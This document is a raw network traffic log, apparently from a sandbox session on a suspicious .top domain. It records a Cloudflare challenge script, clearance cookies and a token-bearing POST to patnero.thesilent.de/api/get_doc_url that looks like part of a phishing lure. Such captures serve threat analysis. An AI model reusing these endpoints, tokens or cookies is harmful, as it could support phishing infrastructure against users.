2025-03-24 17:18:09 UTC	919	IN	HTTP/1.1 302 Found Date: Mon, 24 Mar 2025 17:18:09 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZJxs64%2FPMJWuaQvA%2B8BJB6sAd8oaIhx1oZxcI4zOkbOCVTCiEV3CQLuktACdiJy%2FY64q3ngirq3UuQy5tYZXKPrlSwmS%2BkDhfFBSEWd4XA5dBa2KziQyTHeYJzYcKHOrJ4Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d37ea86342c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105220&min_rtt=104786&rtt_var=22764&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1105&delivery_rate=35097&cwnd=242&unsent_bytes=0&cid=e936995e11d69262&ts=275&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:10 UTC	551	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:10 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8467 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d3CvMg%2BzKpFQl1PfVsw3FoXDG8O2iZgCgRqCwwFRda7i8sD19NImwWRyD3iFZxzbQGbMnXJyX1i5ZqZO7FDZVKkEBnyy40GHVgoxT1W7hR8%2F%2By4hlTiPjJxozY8o75zzHTQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d381bf1078d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105921&min_rtt=105818&rtt_var=22517&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1123&delivery_rate=34976&cwnd=248&unsent_bytes=0&cid=d56c5c88eeedd9ab&ts=266&x=0"
2025-03-24 17:18:10 UTC	473	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 62 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 57 2c 68 2c 69 2c 6a 2c 6b 2c 6f 2c 73 2c 42 29 7b 57 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 56 2c 66 2c 67 29 7b 66 6f 72 28 56 3d 62 2c 66 3d 64 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 67 3d 70 61 72 73 65 49 6e 74 28 56 28 32 36 39 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 32 33 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 34 31 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 56 28 32 32 36 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 39 38 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 56 28 32 32 37 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 56 28 33 30 35 29 29 2f 37 2a 28 70 Data Ascii: window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,j,k,o,s,B){W=b,function(d,e,V,f,g){for(V=b,f=d();!![];)try{if(g=parseInt(V(269))/1+-parseInt(V(223))/2+-parseInt(V(241))/3(-parseInt(V(226))/4)+-parseInt(V(298))/5(-parseInt(V(227))/6)+parseInt(V(305))/7*(p
2025-03-24 17:18:10 UTC	1369	IN	Data Raw: 2c 6a 5b 57 28 33 30 32 29 5d 3d 27 6e 27 2c 6a 5b 57 28 32 39 39 29 5d 3d 27 49 27 2c 6a 5b 57 28 31 39 35 29 5d 3d 27 62 27 2c 6b 3d 6a 2c 68 5b 57 28 31 39 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 45 2c 46 2c 47 2c 61 31 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 29 7b 69 66 28 61 31 3d 57 2c 6e 75 6c 6c 3d 3d 3d 45 7c 7c 45 3d 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 47 3b 66 6f 72 28 49 3d 6e 28 45 29 2c 67 5b 61 31 28 32 36 30 29 5d 5b 61 31 28 32 38 39 29 5d 26 26 28 49 3d 49 5b 61 31 28 32 37 36 29 5d 28 67 5b 61 31 28 32 36 30 29 5d 5b 61 31 28 32 38 39 29 5d 28 45 29 29 29 2c 49 3d 67 5b 61 31 28 32 34 33 29 5d 5b 61 31 28 32 31 39 29 5d 26 26 67 5b 61 31 28 32 38 36 29 5d 3f 67 5b 61 31 28 32 34 33 29 5d 5b 61 31 28 32 31 39 29 5d 28 6e 65 Data Ascii: ,j[W(302)]='n',j[W(299)]='I',j[W(195)]='b',k=j,h[W(192)]=function(g,E,F,G,a1,I,J,K,L,M,N){if(a1=W,null===E\|\|E===void 0)return G;for(I=n(E),g[a1(260)][a1(289)]&&(I=I[a1(276)](g[a1(260)][a1(289)](E))),I=g[a1(243)][a1(219)]&&g[a1(286)]?g[a1(243)][a1(219)](ne
2025-03-24 17:18:10 UTC	1369	IN	Data Raw: 28 31 39 38 29 5d 5b 61 65 28 32 35 39 29 5d 5b 61 65 28 32 34 36 29 5d 28 49 2c 54 29 29 4b 3d 54 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 61 65 28 31 39 38 29 5d 5b 61 65 28 32 35 39 29 5d 5b 61 65 28 32 34 36 29 5d 28 4a 2c 4b 29 29 7b 69 66 28 32 35 36 3e 4b 5b 61 65 28 32 33 34 29 5d 28 30 29 29 7b 66 6f 72 28 48 3d 30 3b 48 3c 4e 3b 50 3c 3c 3d 31 2c 51 3d 3d 46 2d 31 3f 28 51 3d 30 2c 4f 5b 61 65 28 31 39 36 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 48 2b 2b 29 3b 66 6f 72 28 55 3d 4b 5b 61 65 28 32 33 34 29 5d 28 30 29 2c 48 3d 30 3b 38 3e 48 3b 50 3d 50 3c 3c 31 2e 32 32 7c 55 26 31 2c 51 3d 3d 46 2d 31 3f 28 51 3d 30 2c 4f 5b 61 65 28 31 39 36 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 Data Ascii: (198)][ae(259)][ae(246)](I,T))K=T;else{if(Object[ae(198)][ae(259)][ae(246)](J,K)){if(256>K[ae(234)](0)){for(H=0;H<N;P<<=1,Q==F-1?(Q=0,O[ae(196)](G(P)),P=0):Q++,H++);for(U=K[ae(234)](0),H=0;8>H;P=P<<1.22\|U&1,Q==F-1?(Q=0,O[ae(196)](G(P)),P=0):Q++,U>>=1,H++)
2025-03-24 17:18:10 UTC	1369	IN	Data Raw: 6e 75 6c 6c 3d 3d 45 3f 27 27 3a 45 3d 3d 27 27 3f 6e 75 6c 6c 3a 66 2e 69 28 45 5b 61 66 28 31 39 37 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 46 2c 61 67 29 7b 72 65 74 75 72 6e 20 61 67 3d 61 66 2c 45 5b 61 67 28 32 33 34 29 5d 28 46 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 2c 61 68 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 53 2c 55 2c 54 29 7b 66 6f 72 28 61 68 3d 61 63 2c 48 3d 5b 5d 2c 49 3d 34 2c 4a 3d 34 2c 4b 3d 33 2c 4c 3d 5b 5d 2c 4f 3d 47 28 30 29 2c 50 3d 46 2c 51 3d 31 2c 4d 3d 30 3b 33 3e 4d 3b 48 5b 4d 5d 3d 4d 2c 4d 2b 3d 31 29 3b 66 6f 72 28 52 3d 30 2c 53 3d 4d 61 74 68 5b 61 68 28 32 33 39 29 5d 28 32 2c 32 29 2c 4e 3d 31 3b 53 21 3d 4e 3b 54 3d 50 26 4f 2c 50 3e 3e 3d Data Ascii: null==E?'':E==''?null:f.i(E[af(197)],32768,function(F,ag){return ag=af,E[ag(234)](F)})},'i':function(E,F,G,ah,H,I,J,K,L,M,N,O,P,Q,R,S,U,T){for(ah=ac,H=[],I=4,J=4,K=3,L=[],O=G(0),P=F,Q=1,M=0;3>M;H[M]=M,M+=1);for(R=0,S=Math[ah(239)](2,2),N=1;S!=N;T=P&O,P>>=
2025-03-24 17:18:10 UTC	1369	IN	Data Raw: 63 61 74 63 68 28 48 29 7b 72 65 74 75 72 6e 27 69 27 7d 72 65 74 75 72 6e 20 65 5b 59 28 32 34 33 29 5d 5b 59 28 32 35 34 29 5d 28 67 5b 45 5d 29 3f 27 61 27 3a 67 5b 45 5d 3d 3d 3d 65 5b 59 28 32 34 33 29 5d 3f 27 45 27 3a 67 5b 45 5d 3d 3d 3d 21 30 3f 27 54 27 3a 21 31 3d 3d 3d 67 5b 45 5d 3f 27 46 27 3a 28 46 3d 74 79 70 65 6f 66 20 67 5b 45 5d 2c 59 28 32 35 35 29 3d 3d 46 3f 6c 28 65 2c 67 5b 45 5d 29 3f 27 4e 27 3a 27 66 27 3a 6b 5b 46 5d 7c 7c 27 3f 27 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 66 2c 67 2c 61 6c 2c 45 2c 46 2c 47 29 7b 69 66 28 61 6c 3d 57 2c 45 3d 61 6c 28 32 35 38 29 2c 21 66 5b 61 6c 28 32 30 31 29 5d 29 72 65 74 75 72 6e 3b 68 5b 61 6c 28 32 37 35 29 5d 26 26 28 67 3d 3d 3d 61 6c 28 32 35 30 29 3f 28 46 3d 7b 7d 2c 46 5b 61 6c 28 Data Ascii: catch(H){return'i'}return e[Y(243)][Y(254)](g[E])?'a':g[E]===e[Y(243)]?'E':g[E]===!0?'T':!1===g[E]?'F':(F=typeof g[E],Y(255)==F?l(e,g[E])?'N':'f':k[F]\|\|'?')}function D(f,g,al,E,F,G){if(al=W,E=al(258),!f[al(201)])return;h[al(275)]&&(g===al(250)?(F={},F[al(
2025-03-24 17:18:10 UTC	1369	IN	Data Raw: 4e 5b 61 62 28 32 30 34 29 5d 3d 48 2c 4e 5b 61 62 28 32 31 38 29 5d 3d 4d 2c 4e 5b 61 62 28 32 34 35 29 5d 3d 61 62 28 32 32 39 29 2c 4b 5b 61 62 28 32 36 37 29 5d 28 42 5b 61 62 28 33 30 30 29 5d 28 4a 53 4f 4e 5b 61 62 28 32 37 33 29 5d 28 4e 29 29 29 7d 63 61 74 63 68 28 4f 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 61 34 2c 67 2c 45 2c 46 2c 47 2c 48 29 7b 61 34 3d 57 3b 74 72 79 7b 72 65 74 75 72 6e 20 67 3d 69 5b 61 34 28 32 31 36 29 5d 28 61 34 28 32 34 38 29 29 2c 67 5b 61 34 28 32 35 32 29 5d 3d 61 34 28 32 33 33 29 2c 67 5b 61 34 28 32 38 37 29 5d 3d 27 2d 31 27 2c 69 5b 61 34 28 32 34 37 29 5d 5b 61 34 28 32 31 32 29 5d 28 67 29 2c 45 3d 67 5b 61 34 28 32 37 39 29 5d 2c 46 3d 7b 7d 2c 46 3d 4d 57 70 74 44 30 28 45 2c 45 2c 27 27 2c 46 29 2c Data Ascii: N[ab(204)]=H,N[ab(218)]=M,N[ab(245)]=ab(229),K[ab(267)](B[ab(300)](JSON[ab(273)](N)))}catch(O){}}function v(a4,g,E,F,G,H){a4=W;try{return g=i[a4(216)](a4(248)),g[a4(252)]=a4(233),g[a4(287)]='-1',i[a4(247)][a4(212)](g),E=g[a4(279)],F={},F=MWptD0(E,E,'',F),
2025-03-24 17:18:10 UTC	1149	IN	Data Raw: 43 61 70 35 41 4d 63 78 46 73 64 4d 79 65 76 4c 78 77 45 4e 41 50 73 6f 37 61 78 4c 61 6f 2f 2c 69 73 4e 61 4e 2c 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2c 33 32 39 30 34 38 44 41 78 70 6c 4c 2c 73 65 6e 64 2c 73 70 6c 69 74 2c 31 37 36 32 32 39 32 72 66 56 70 4d 68 2c 73 74 61 74 75 73 2c 6f 70 65 6e 2c 6f 6e 74 69 6d 65 6f 75 74 2c 73 74 72 69 6e 67 69 66 79 2c 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 2c 70 61 72 65 6e 74 2c 63 6f 6e 63 61 74 2c 6f 62 6a 65 63 74 2c 6a 6f 69 6e 2c 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2c 72 65 6d 6f 76 65 43 68 69 6c 64 2c 64 6f 63 75 6d 65 6e 74 2c 73 74 72 69 6e 67 2c 6f 6e 6c 6f 61 64 2c 6d 61 70 2c 68 74 74 70 2d 63 6f 64 65 3a 2c 53 65 74 2c 74 61 62 49 6e 64 65 78 2c 63 68 6c 41 70 69 43 6c 69 65 6e 74 56 65 Data Ascii: Cap5AMcxFsdMyevLxwENAPso7axLao/,isNaN,contentDocument,329048DAxplL,send,split,1762292rfVpMh,status,open,ontimeout,stringify,[native code],parent,concat,object,join,contentWindow,removeChild,document,string,onload,map,http-code:,Set,tabIndex,chlApiClientVe

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:10 UTC	548	OUT	OPTIONS /report/v4?s=2YiGwBt7zJ7GVOVVvPGfW%2Fo8xZZg45HFoC%2FHvaqhQfSyKcZo5mgzB96MFcrt11f936K8t0isejdehe3dkjWH%2F%2By1BirVy%2FBWaxKc5TdQlHgq%2B7hCUM9Z7I1cL0o1Z6QNKIQ%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nrro.ogquwu.top Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:10 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 24 Mar 2025 17:18:09 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:10 UTC	708	OUT	POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.03437329500068646:1742833486:iuQrk-AcpKdyZCap5AMcxFsdMyevLxwENAPso7axLao/9257d3764fced911 HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive Content-Length: 16562 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://nrro.ogquwu.top Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:10 UTC	16384	OUT	Data Raw: 54 4b 51 70 4d 6f 63 6b 4d 77 51 4d 76 4f 52 63 31 63 78 72 79 70 6f 58 72 35 4a 72 33 75 33 61 61 6f 6b 63 6e 74 72 37 59 58 53 59 71 51 72 47 37 49 39 52 59 77 63 42 72 76 31 51 57 4e 4b 4b 72 35 45 61 72 6d 72 61 58 61 51 63 72 44 61 63 5a 52 6c 70 45 77 4b 24 73 36 70 37 59 4c 4b 4a 35 50 42 78 4f 57 2d 70 5a 4c 4d 62 4a 34 63 50 74 37 45 33 72 4d 51 51 43 33 47 6f 24 4e 72 2b 57 4e 71 41 24 72 41 70 4f 47 72 6f 62 51 72 33 70 6f 6f 70 4c 76 70 33 72 63 59 72 79 77 48 72 63 34 24 72 38 69 6b 35 57 4b 49 63 35 45 4e 51 72 6f 69 24 72 6f 52 39 79 72 39 6f 72 63 24 44 71 55 51 36 42 4a 58 6f 57 6f 63 41 5a 4a 4b 74 4d 4c 7a 67 41 37 72 75 70 6f 33 64 30 4b 72 6b 48 4b 59 4f 71 37 65 44 57 72 39 67 41 45 4c 75 35 70 72 55 45 75 71 33 51 34 4d 67 45 77 7a Data Ascii: TKQpMockMwQMvORc1cxrypoXr5Jr3u3aaokcntr7YXSYqQrG7I9RYwcBrv1QWNKKr5EarmraXaQcrDacZRlpEwK$s6p7YLKJ5PBxOW-pZLMbJ4cPt7E3rMQQC3Go$Nr+WNqA$rApOGrobQr3poopLvp3rcYrywHrc4$r8ik5WKIc5ENQroi$roR9yr9orc$DqUQ6BJXoWocAZJKtMLzgA7rupo3d0KrkHKYOq7eDWr9gAELu5prUEuq3Q4MgEwz
2025-03-24 17:18:10 UTC	178	OUT	Data Raw: 61 72 49 70 6d 52 37 70 72 55 72 63 4e 4f 67 63 62 47 77 51 31 43 37 48 47 54 6b 62 55 72 65 4e 37 35 61 51 58 2b 55 30 61 68 59 61 2b 32 4f 6f 4d 47 63 56 46 39 66 42 72 4b 71 46 72 47 72 53 55 66 76 2b 6b 63 4b 51 59 59 6b 62 47 37 71 32 74 6d 6d 35 2b 39 75 68 43 72 54 55 63 45 61 2b 2b 58 48 62 45 38 6f 45 5a 53 39 53 37 4c 59 72 72 63 48 4f 4c 57 70 39 31 72 2b 6b 4d 56 71 37 30 79 38 47 30 63 68 72 79 4e 62 64 71 7a 75 6b 46 57 74 49 58 75 4c 51 72 42 71 4a 72 57 4e 5a 54 63 33 43 67 44 62 64 6c 4e 70 72 72 4f 49 70 72 72 Data Ascii: arIpmR7prUrcNOgcbGwQ1C7HGTkbUreN75aQX+U0ahYa+2OoMGcVF9fBrKqFrGrSUfv+kcKQYYkbG7q2tmm5+9uhCrTUcEa++XHbE8oEZS9S7LYrrcHOLWp91r+kMVq70y8G0chryNbdqzukFWtIXuLQrBqJrWNZTc3CgDbdlNprrOIprr
2025-03-24 17:18:10 UTC	1227	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=ogquwu.top; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=6wOxtTZTO8FVsitCWOMJpaR1r4GSm5r4VTt4j8Qn.4w-1742836690-1.2.1.1-pNsmUasvSYhuSj8SNk8LhX.UsjJkpfMlVz6r2_zYIsN2IDzwZkrL2_3MtsXnRqJEXpCsq_kws1oRM00N3kvHgUOWCG9yuoDybW7fE6dpXICngqqqlVn.m15PeAMTG8YpPkVTCWAA8OUXgysUAl2fR5BiZ93i3xzTBk1A.6QsJAdicc09b1BbkWt1K3SxwhAirLDqF3scVfinh7Pxl4BixzaAIzlAFQYby1vFhjRh0h1ghBdpobthlSkcP_KWSfK7j5VZhzl1MZfZFj4pbimDyAq.DMd6YdGm_gVTXfYP1e7oPRzvaHKDqfWR4kYJc9NzdQNrjqNnbURSENpeMvXdrdDGJrQUlVGmBHaF9ET_Dn0; Path=/; Expires=Tue, 24-Mar-26 17:18:10 GMT; Domain=ogquwu.top; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NNqYASxRYtGChOJN2LEuYKiamZIi%2BtvGoD2qJBEBpQcCiUTIZd7uM4D1VxX6irb92ggPhZj6hWwZ0RleVDBy77w%2Ft%2FJJ%2FD0z1CpTmWbxYfEuC6TVb9H3EjOJh8IgkRlWRT0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d3847f9f4352-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 17:18:10 UTC	223	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 30 33 33 31 35 26 6d 69 6e 5f 72 74 74 3d 31 30 32 31 35 37 26 72 74 74 5f 76 61 72 3d 32 33 32 39 39 26 73 65 6e 74 3d 31 30 26 72 65 63 76 3d 32 31 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 37 39 30 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 35 32 34 31 26 63 77 6e 64 3d 32 31 33 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 66 32 38 30 31 34 61 63 64 31 63 35 37 63 31 35 26 74 73 3d 32 33 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=103315&min_rtt=102157&rtt_var=23299&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2824&recv_bytes=17908&delivery_rate=35241&cwnd=213&unsent_bytes=0&cid=f28014acd1c57c15&ts=234&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:10 UTC	523	OUT	POST /report/v4?s=2YiGwBt7zJ7GVOVVvPGfW%2Fo8xZZg45HFoC%2FHvaqhQfSyKcZo5mgzB96MFcrt11f936K8t0isejdehe3dkjWH%2F%2By1BirVy%2FBWaxKc5TdQlHgq%2B7hCUM9Z7I1cL0o1Z6QNKIQ%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 419 Content-Type: application/reports+json Origin: https://nrro.ogquwu.top User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:10 UTC	419	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 39 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 72 72 6f 2e 6f 67 71 75 77 75 2e 74 6f 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 35 35 2e 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 Data Ascii: [{"age":0,"body":{"elapsed_time":592,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://nrro.ogquwu.top/","sampling_fraction":1.0,"server_ip":"172.67.155.9","status_code":404,"type":"http.error"},"type":"network-error","url":"h
2025-03-24 17:18:10 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 24 Mar 2025 17:18:10 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:11 UTC	507	OUT	GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.03437329500068646:1742833486:iuQrk-AcpKdyZCap5AMcxFsdMyevLxwENAPso7axLao/9257d3764fced911 HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:11 UTC	750	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 24 Mar 2025 17:18:11 GMT Content-Length: 0 Connection: close allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B8tKcm27XIZSNqXoK6imbi9fEO8Ep3HUTmuhuav0Cnp9089h6drYX4on5RlUy2ntlSp5wJncoEipu%2BRPrHqooZ2ec27bT%2Fm%2F%2FCw3MdO0izseWowO0N%2BSnxzudGQSWs27vbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d3896f0add37-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103528&min_rtt=102213&rtt_var=23540&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1079&delivery_rate=35079&cwnd=238&unsent_bytes=0&cid=606504073531ce5b&ts=269&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:12 UTC	527	OUT	OPTIONS /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization Origin: https://nrro.ogquwu.top User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://nrro.ogquwu.top/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:13 UTC	539	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" rndr-id: d23d5b00-4758-4cd6 vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9257d3940fc143bd-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 17:18:13 UTC	7	IN	Data Raw: 32 0d 0a 4f 4b 0d 0a Data Ascii: 2OK
2025-03-24 17:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:13 UTC	646	OUT	POST /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Content-Length: 0 sec-ch-ua-platform: "Windows" Authorization: Bearer a3c4d5e8f9a0b1c2d3e4f56789abcdef User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://nrro.ogquwu.top Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nrro.ogquwu.top/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:13 UTC	546	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:13 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"95-1UAATpWbmuwP1yeyRCfCoGcZEIY" rndr-id: fd467d80-85c2-4406 vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9257d397ba0f7cea-EWR alt-svc: h3=":443"; ma=86400
